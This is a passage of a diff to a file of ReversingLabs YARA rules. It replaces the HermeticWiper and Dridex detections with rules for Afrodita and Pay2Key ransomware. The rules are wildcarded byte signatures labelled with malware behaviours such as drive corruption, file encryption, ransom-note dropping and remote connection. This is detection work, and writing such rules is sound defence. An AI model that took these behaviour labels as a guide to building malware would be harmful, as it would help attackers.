6A ?? FF 15 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 4D ?? + 8B D7 FF 75 ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ?? + 8B 45 ?? B9 ?? ?? ?? ?? 83 48 ?? ?? 8B 45 ?? 8B 58 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 + ?? 53 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? + ?? 8B CE E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 49 ?? E8 ?? ?? ?? ?? FF + 75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? FF + 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B C9 C2 } condition: - uint32( 0 ) == 0x464C457F and ( all of ( $destroy_files_p* ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Win32_Trojan_Hermeticwiper : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Afrodita : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects HermeticWiper trojan." + description = "Yara rule that detects Afrodita ransomware." author = "ReversingLabs" - id = "252dfb3d-9d4e-51a4-80c9-64e17922d997" - date = "2022-02-24" - modified = "2022-02-24" + id = "513963fd-5f3d-5d31-a65a-37f6f5c72260" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.HermeticWiper.yara#L1-L50" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Afrodita.yara#L1-L119" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0fa519ce8285ffe4e49c2a301e8a0fd0516a05dc6b41ee0b010fdc76dd6e195e" + logic_hash = "ce7cc445d4c1f59c25b9505fc1f7f9dd0d286ab80510e2977b50ff15433aea60" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "HermeticWiper" + tc_detection_type = "Ransomware" + tc_detection_name = "Afrodita" tc_detection_factor = 5 importance = 25 strings: - $corrupt_physical_drive = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 51 68 ?? ?? ?? ?? 0F 57 C0 89 55 ?? 8D 85 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 66 0F D6 45 ?? 33 FF 89 75 ?? 50 0F - 11 45 ?? 89 7D ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 8D 55 ?? 8D 8D ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? - BF ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 8D 45 ?? - 50 57 56 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? - 75 ?? 66 0F 1F 44 00 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 81 C7 ?? ?? - ?? ?? 33 F6 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 6A ?? 6A ?? 68 ?? - ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 F6 0F 84 ?? ?? ?? - ?? 8B 06 C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? - 83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 55 ?? 8D 46 ?? 89 45 ?? 66 90 - 8B 00 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? FF 70 ?? FF 70 - ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 81 FA ?? ?? ?? ?? 72 ?? 66 83 7F ?? - ?? 75 ?? 85 D2 0F B7 C2 B9 ?? ?? ?? ?? 0F 45 C8 66 89 4F ?? 8B 45 ?? FF 70 ?? FF 70 - ?? FF 75 ?? FF 75 ?? 57 53 FF 55 ?? 8B 55 ?? 8B 4D ?? 8B 45 ?? 41 05 ?? ?? ?? ?? 89 - 4D ?? 89 45 ?? 3B 4E ?? 0F 82 ?? ?? ?? ?? 8B 7D ?? EB ?? FF 15 ?? ?? ?? ?? 33 FF 85 - DB 74 ?? 83 FB ?? 74 ?? 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 F6 74 ?? 56 6A ?? - FF D3 8B 35 ?? ?? ?? ?? 50 FF D6 EB ?? FF 15 ?? ?? ?? ?? 8B 7D ?? EB ?? 33 C0 5F 5E - 5B 8B E5 5D C2 ?? ?? 8B 35 ?? ?? ?? ?? 85 FF 74 ?? 57 6A ?? FF D3 50 FF D6 8B 45 ?? - 5F 5E 5B 8B E5 5D C2 + $exclude_directories_and_drop_ransom_note = { + 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 8D ?? ?? + ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 75 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B + 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? + ?? ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A + ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? EB ?? B8 + } + $drop_ransom_note_no_dir_exclusion = { + 8D 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 + ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 88 85 ?? ?? ?? ?? 33 C9 88 8D ?? ?? + ?? ?? 33 D2 88 95 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 50 0F B6 8D ?? ?? ?? ?? 51 0F B6 + 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? + 50 8B 4B ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15 + ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B + 5D ?? B8 ?? ?? ?? ?? C3 C7 45 + } + $find_files_p1 = { + 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 + 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? + 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? + ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? + ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B + CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? + 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 + } + $find_files_p2 = { + 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 + ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? + 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? + ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? + ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? + 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? + ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? + 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + $encrypt_files = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D 45 + ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4B ?? 51 + FF 15 ?? ?? ?? ?? 83 E0 ?? 74 ?? 8B 53 ?? 52 FF 15 ?? ?? ?? ?? 83 E0 ?? 50 8B 43 ?? + 50 FF 15 ?? ?? ?? ?? 8B 4B ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 53 + ?? 52 8D 45 ?? 50 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? 8D 55 ?? 52 8B 43 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 + ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D + 4D ?? 51 83 EC ?? 8B D4 89 A5 ?? ?? ?? ?? 52 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 43 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? + C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? + 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C2 } condition: - uint16( 0 ) == 0x5A4D and ( $corrupt_physical_drive ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( ( $exclude_directories_and_drop_ransom_note ) or ( $drop_ransom_note_no_dir_exclusion ) ) } -rule REVERSINGLABS_Win32_Trojan_Dridex : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Pay2Key : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Dridex trojan." + description = "Yara rule that detects Pay2Key ransomware." author = "ReversingLabs" - id = "bc68aca1-69e6-57e6-9277-70c89fda1e5d" - date = "2020-06-26" - modified = "2020-09-16" + id = "2e482222-0483-5fe3-bb87-cfadda8e7e7a" + date = "2021-04-14" + modified = "2021-04-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.Dridex.yara#L1-L80" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Pay2Key.yara#L1-L99" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7eddc8f33846dfb61302b7d7fddd8dec59a1bde05b14135c14131a02e2c19600" + logic_hash = "2497504f3afc99523cb29e51652a24f4374316d57d4baf5cde8d22e75a425585" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "Dridex" + tc_detection_type = "Ransomware" + tc_detection_name = "Pay2Key" tc_detection_factor = 5 importance = 25 strings: - $resolve_api_wrapper_1 = { - 56 57 8B FA 8B F1 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FE ?? ?? ?? ?? 75 ?? 33 C0 5F - 5E C3 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 8B CE E8 ?? - ?? ?? ?? 85 C0 74 ?? 8B D7 ?? ?? ?? ?? E9 - } - $resolve_api_wrapper_2 = { - 57 53 8B FA 8B D9 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FB ?? ?? ?? ?? 74 ?? 8B CB E8 - ?? ?? ?? ?? 85 C0 74 ?? 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3 8B CB E8 ?? ?? ?? ?? 84 - C0 74 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB - } - $resolve_api_wrapper_3 = { - 55 8B EC 57 8B 7D ?? 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74 - ?? 56 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ?? - 85 C0 75 ?? 5E 33 C0 5F 5D C2 ?? ?? 57 50 E8 ?? ?? ?? ?? 5E 5F 5D C2 - } - $resolve_api_wrapper_4 = { - 55 8B EC FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74 ?? 56 - E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ?? 85 C0 - 74 ?? 5E 89 45 ?? 5D E9 - } - $find_first_file_snippet_1 = { - 53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? [4-6] BA ?? - ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A ?? 8D 56 ?? - 52 53 51 FF D0 + $find_files = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ?? + 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? + ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ?? + 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50 + 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 + 89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA + ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF + 80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 + F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? + ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 + FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? + 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 + 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? + ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B + C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 + ?? E9 } - $find_first_file_snippet_2 = { - 57 53 55 8B E9 33 C9 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? - ?? 8B 18 E8 ?? ?? ?? ?? 8B C8 85 C9 74 ?? 33 D2 83 FB ?? 6A ?? 5B 8D 7D ?? 0F 4C DA - 8B C2 53 52 52 57 0F 9D C0 50 FF 75 ?? FF D1 + $encrypt_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? + 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 8B 43 ?? 2B 43 ?? 75 ?? 8B 75 ?? 8B 45 ?? 8B 4D ?? C7 45 ?? ?? ?? ?? ?? 89 06 89 4E + ?? 8B 4D ?? 89 4E ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? 83 7B ?? ?? 74 + ?? 8B 45 ?? 2B 45 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 8B 55 ?? 2B F2 56 52 57 E8 ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? + 56 89 75 ?? E8 ?? ?? ?? ?? 56 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 83 C4 + ?? 50 56 6A ?? 6A ?? 6A ?? FF 73 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 85 C0 75 ?? 8B 75 ?? + 89 45 ?? 89 45 ?? 89 45 ?? 89 06 89 46 ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? FF 75 ?? E8 + ?? ?? ?? ?? FF 75 ?? 56 8B 75 ?? 56 E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 4D ?? 8B 45 + ?? C7 45 ?? ?? ?? ?? ?? 89 4F ?? 8D 4D ?? 89 37 89 47 ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? + ?? ?? 59 5F 5E 5B 8B E5 5D C2 } - $find_first_file_snippet_3 = { - 53 56 8B F1 33 DB 57 32 C9 89 5E ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B - 38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 6A ?? 33 C0 83 FF ?? 59 0F 4C C8 8D 46 ?? 51 53 - 53 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2 + $remote_connection_p1 = { + 55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7 + 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 56 57 FF 15 ?? ?? ?? ?? + 8B 75 ?? 8B C8 8B D6 E8 ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? 8B CE + E8 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB + ?? 81 F9 ?? ?? ?? ?? 74 ?? 81 F9 ?? ?? ?? ?? 74 ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5 + 5D C3 } - $find_first_file_snippet_4 = { - 53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? 8D 7B ?? 8D - 5F ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A - ?? 8D 56 ?? 52 53 51 CC C3 + $remote_connection_p2 = { + 55 8B EC 51 53 56 8B F1 57 8B 46 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 80 7D ?? ?? 6A ?? + 74 ?? 8B 4E ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 45 ?? 8B 08 + 83 F9 ?? 75 ?? 8B 4E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? + ?? 8B 45 ?? 8B 7D ?? 57 89 45 ?? 8D 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 + ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 8B D8 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? B8 ?? ?? ?? + ?? EB ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C1 85 DB 74 ?? 3D ?? ?? ?? ?? 74 ?? FF + 75 ?? 8B 4E ?? 50 57 E8 ?? ?? 